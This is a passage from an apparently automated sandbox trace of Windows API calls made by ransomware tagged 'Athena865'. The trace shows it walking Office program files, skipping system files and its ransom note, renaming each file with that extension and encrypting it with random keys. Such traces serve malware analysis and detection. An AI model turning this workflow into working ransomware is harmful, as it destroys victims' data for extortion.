lstrlenW (lpString="tgz") returned 3 [0074.794] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0074.794] lstrlenW (lpString="vbox") returned 4 [0074.794] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0074.794] lstrlenW (lpString="vdi") returned 3 [0074.794] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0074.794] lstrlenW (lpString="vhd") returned 3 [0074.794] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0074.794] lstrlenW (lpString="vhdx") returned 4 [0074.794] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0074.794] lstrlenW (lpString="avhd") returned 4 [0074.794] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0074.794] lstrlenW (lpString="db") returned 2 [0074.794] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0074.794] lstrlenW (lpString="db2") returned 3 [0074.795] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0074.795] lstrlenW (lpString="db3") returned 3 [0074.795] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0074.795] lstrlenW (lpString="dbf") returned 3 [0074.795] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0074.795] lstrlenW (lpString="mdf") returned 3 [0074.795] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0074.795] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.dll.Athena865") returned 86 [0074.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.dll.athena865"), dwFlags=0x1) returned 1 [0074.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.796] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=956288) returned 1 [0074.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.796] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.797] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.797] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.797] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe9a80, lpName=0x0) returned 0x17c [0074.799] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe9a80) returned 0x2d50000 [0074.837] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.838] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.838] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.839] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.847] CloseHandle (hObject=0x17c) returned 1 [0074.847] CloseHandle (hObject=0x154) returned 1 [0074.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.854] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x33737, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.xml", cAlternateFileName="MICROS~4.XML")) returned 1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2=".") returned 1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="..") returned 1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="windows") returned -1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="bootmgr") returned 1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="temp") returned -1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="pagefile.sys") returned -1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="boot") returned 1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="ids.txt") returned 1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="ntuser.dat") returned -1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="perflogs") returned -1 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2="MSBuild") returned -1 [0074.854] lstrlenW (lpString="Microsoft.Office.BusinessData.xml") returned 33 [0074.854] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.BusinessData.xml" | out: lpString1="Microsoft.Office.BusinessData.xml") returned="Microsoft.Office.BusinessData.xml" [0074.854] lstrlenW (lpString="Microsoft.Office.BusinessData.xml") returned 33 [0074.854] lstrlenW (lpString="Athena865") returned 9 [0074.854] lstrcmpiW (lpString1="sData.xml", lpString2="Athena865") returned 1 [0074.854] lstrlenW (lpString=".dll") returned 4 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2=".dll") returned 1 [0074.854] lstrlenW (lpString=".lnk") returned 4 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2=".lnk") returned 1 [0074.854] lstrlenW (lpString=".ini") returned 4 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2=".ini") returned 1 [0074.854] lstrlenW (lpString=".sys") returned 4 [0074.854] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.xml", lpString2=".sys") returned 1 [0074.854] lstrlenW (lpString="Microsoft.Office.BusinessData.xml") returned 33 [0074.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.Athena865") returned 86 [0074.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml.athena865"), dwFlags=0x1) returned 1 [0074.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.855] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=210743) returned 1 [0074.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.856] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.857] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.857] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.857] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33a40, lpName=0x0) returned 0x17c [0074.858] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33a40) returned 0x170000 [0074.875] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.875] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.875] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.876] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0074.878] CloseHandle (hObject=0x17c) returned 1 [0074.878] CloseHandle (hObject=0x154) returned 1 [0074.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.879] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x4998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cAlternateFileName="MI6145~1.DLL")) returned 1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2=".") returned 1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="..") returned 1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="windows") returned -1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="bootmgr") returned 1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="temp") returned -1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="pagefile.sys") returned -1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="boot") returned 1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="ids.txt") returned 1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="ntuser.dat") returned -1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="perflogs") returned -1 [0074.879] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="MSBuild") returned -1 [0074.879] lstrlenW (lpString="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned 53 [0074.879] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll" | out: lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll" [0074.879] lstrlenW (lpString="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned 53 [0074.879] lstrlenW (lpString="Athena865") returned 9 [0074.880] lstrcmpiW (lpString1="RHost.dll", lpString2="Athena865") returned 1 [0074.880] lstrlenW (lpString=".dll") returned 4 [0074.880] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2=".dll") returned 1 [0074.880] lstrlenW (lpString=".lnk") returned 4 [0074.880] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2=".lnk") returned 1 [0074.880] lstrlenW (lpString=".ini") returned 4 [0074.880] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2=".ini") returned 1 [0074.880] lstrlenW (lpString=".sys") returned 4 [0074.880] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2=".sys") returned 1 [0074.880] lstrlenW (lpString="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned 53 [0074.880] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll.Athena865") returned 106 [0074.880] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.infopath.client.internal.clrhost.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.infopath.client.internal.clrhost.dll.athena865"), dwFlags=0x1) returned 1 [0074.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.infopath.client.internal.clrhost.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.881] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18840) returned 1 [0074.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.881] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.882] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.882] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.882] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ca0, lpName=0x0) returned 0x17c [0074.884] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ca0) returned 0x100000 [0074.885] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.886] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.886] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.887] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0074.887] CloseHandle (hObject=0x17c) returned 1 [0074.887] CloseHandle (hObject=0x154) returned 1 [0074.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.887] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb13800, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdb13800, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0074.887] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.887] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.887] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2=".") returned 1 [0074.887] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="..") returned 1 [0074.887] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="windows") returned -1 [0074.887] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="bootmgr") returned 1 [0074.887] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="temp") returned -1 [0074.888] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="pagefile.sys") returned -1 [0074.888] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="boot") returned 1 [0074.888] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="ids.txt") returned 1 [0074.888] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="ntuser.dat") returned -1 [0074.888] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="perflogs") returned -1 [0074.888] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="MSBuild") returned -1 [0074.888] lstrlenW (lpString="Microsoft.Office.InfoPath.FormControl.dll") returned 41 [0074.888] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.InfoPath.FormControl.dll" | out: lpString1="Microsoft.Office.InfoPath.FormControl.dll") returned="Microsoft.Office.InfoPath.FormControl.dll" [0074.888] lstrlenW (lpString="Microsoft.Office.InfoPath.FormControl.dll") returned 41 [0074.888] lstrlenW (lpString="Athena865") returned 9 [0074.888] lstrcmpiW (lpString1="ntrol.dll", lpString2="Athena865") returned 1 [0074.888] lstrlenW (lpString=".dll") returned 4 [0074.888] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2=".dll") returned 1 [0074.888] lstrlenW (lpString=".lnk") returned 4 [0074.888] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2=".lnk") returned 1 [0074.888] lstrlenW (lpString=".ini") returned 4 [0074.888] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2=".ini") returned 1 [0074.888] lstrlenW (lpString=".sys") returned 4 [0074.888] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2=".sys") returned 1 [0074.888] lstrlenW (lpString="Microsoft.Office.InfoPath.FormControl.dll") returned 41 [0074.888] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.FormControl.dll.Athena865") returned 94 [0074.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.FormControl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.infopath.formcontrol.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.FormControl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.infopath.formcontrol.dll.athena865"), dwFlags=0x1) returned 1 [0074.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.FormControl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.infopath.formcontrol.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.889] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42880) returned 1 [0074.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.890] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.890] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.890] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.891] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaa80, lpName=0x0) returned 0x17c [0074.901] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaa80) returned 0x100000 [0074.903] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.903] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.904] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 